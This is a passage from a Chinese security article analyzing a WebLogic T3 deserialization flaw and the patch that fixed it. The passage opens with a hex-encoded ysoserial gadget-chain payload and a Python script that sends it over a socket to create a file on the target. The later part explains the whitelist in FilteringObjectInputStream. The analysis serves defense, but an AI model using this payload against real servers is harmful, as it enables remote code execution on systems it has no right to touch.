5\x72\x69\x61\x6C\x2F\x50\x77\x6E\x65\x72\x31\x31\x37\x37\x34\x32\x34\x32\x39\x33\x31\x30\x33\x36\x38\x01\x00\x20\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x50\x77\x6E\x65\x72\x31\x31\x37\x37\x34\x32\x34\x32\x39\x33\x31\x30\x33\x36\x38\x3B\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x2F\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x38\x00\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0C\x00\x00\x00\x3F\x00\x00\x00\x03\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x34\x00\x0E\x00\x00\x00\x20\x00\x03\x00\x00\x00\x01\x00\x0F\x00\x38\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x01\x00\x13\x00\x1B\x00\x02\x00\x0C\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x38\x00\x0E\x00\x00\x00\x2A\x00\x04\x00\x00\x00\x01\x00\x0F\x00\x38\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x1C\x00\x1D\x00\x02\x00\x00\x00\x01\x00\x1E\x00\x1F\x00\x03\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x08\x00\x29\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x24\x00\x03\x00\x02\x00\x00\x00\x0F\xA7\x00\x03\x01\x4C\xB8\x00\x2F\x12\x31\xB6\x00\x35\x57\xB1\x00\x00\x00\x01\x00\x36\x00\x00\x00\x03\x00\x01\x03\x00\x02\x00\x20\x00\x00\x00\x02\x00\x21\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x23\x00\x10\x00\x09\x75\x71\x00\x7E\x00\x0B\x00\x00\x01\xD4\xCA\xFE\xBA\xBE\x00\x00\x00\x32\x00\x1B\x0A\x00\x03\x00\x15\x07\x00\x17\x07\x00\x18\x07\x00\x19\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\x71\xE6\x69\xEE\x3C\x6D\x47\x18\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x03\x46\x6F\x6F\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x25\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x1A\x01\x00\x23\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x01\x00\x10\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x1F\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x01\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x3C\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00\x02\x00\x14\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x16\x00\x10\x00\x09\x70\x74\x00\x04\x50\x77\x6E\x72\x70\x77\x01\x00\x78\x73\x7D\x00\x00\x00\x01\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x08\x66\x35\x61\x35\x61\x36\x30\x38\x71\x00\x7E\x00\x08\x78\x76\x72\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x78\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x08\x66\x35\x61\x35\x61\x36\x30\x38\x71\x00\x7E\x00\x05\x78\x76\x71\x00\x7E\x00\x03\x78'
payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
# payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
# print len(payload)
# adjust header for appropriate message length
payload=struct.pack('>I',len(payload)) + payload[4:]
# print len(payload)
print '[+] Sending payload and creating 0422 file in tmp folder'
# print payload
sock.send(payload)
time.sleep(1)
print 'Successfully'
最新的补丁从侧面修复了这一漏洞。补丁没有检测拦截MashalledObject类,而是在wlclient.jar中加入拦截类FilteringObjectInputStream并设置了白名单,从而拦截包含恶意类的LinkedHashSet类型数据,如下。
白名单:
调用链:
at weblogic.utils.io.FilteringObjectInputStream.validateReturnType(FilteringObjectInputStream.java:170)
at weblogic.utils.io.FilteringObjectInputStream.resolveClass(FilteringObjectInputStream.java:65)
at weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.resolveClass(InboundMsgAbbrev.java:149)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1610)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1515)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1769)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
at weblogic.utils.io.FilteringObjectInputStream.readObjectValidated(FilteringObjectInputStream.java:127)
at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:89)
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:55)
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:298)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:228)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:520)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:507)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359)
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970)
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907)
at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:511)
at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:477)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30)
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)
可知,在 FilteringObjectInputStream.validateReturnType 方法处中断程序,此方法如下。
public void validateReturnType(Class returnType) throws InvalidClassException {
if (this.expectedType != null || this.expectedTypes != null) {
try {
if (returnType != null) {
if (this.expectedType == null) {
for(int i = 0; i < this.expectedTypes.length; ++i) {
if (this.expectedTypes[i].isAssignableFrom(returnType)) {
return;
}
}
String classTypes = "[ ";
for(int i = 0; i < this.expectedTypes.length; ++i) {
if (i > 0) {
classTypes = classTypes + ", " + this.expectedTypes[i].getName();
}
}
classTypes = classTypes + "]";
throw new InvalidClassException("Expected type of " + classTypes + " but actual type was " + returnType.getName());
}
if (!this.expectedType.isAssignableFrom(returnType)) {
throw new InvalidClassException("Expected type of " + this.expectedType.getName() + " but actual type was " + returnType.getName());
}
}
} finally {
this.expectedType = null;
this.expectedTypes = null;
}
}
}
}
当输入的数据类型不在 expectedTypes 白名单列表中时,会抛出异常,并打印出当前输入数据类型不符的信息,如下。
手把手教你详细分析 Chrome 1day 漏洞 (CVE-2021-21224)
详细分析 Chrome V8 JIT 漏洞 CVE-2021-21220
Codecov后门事件验证分析
题图:Pixabay License
转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。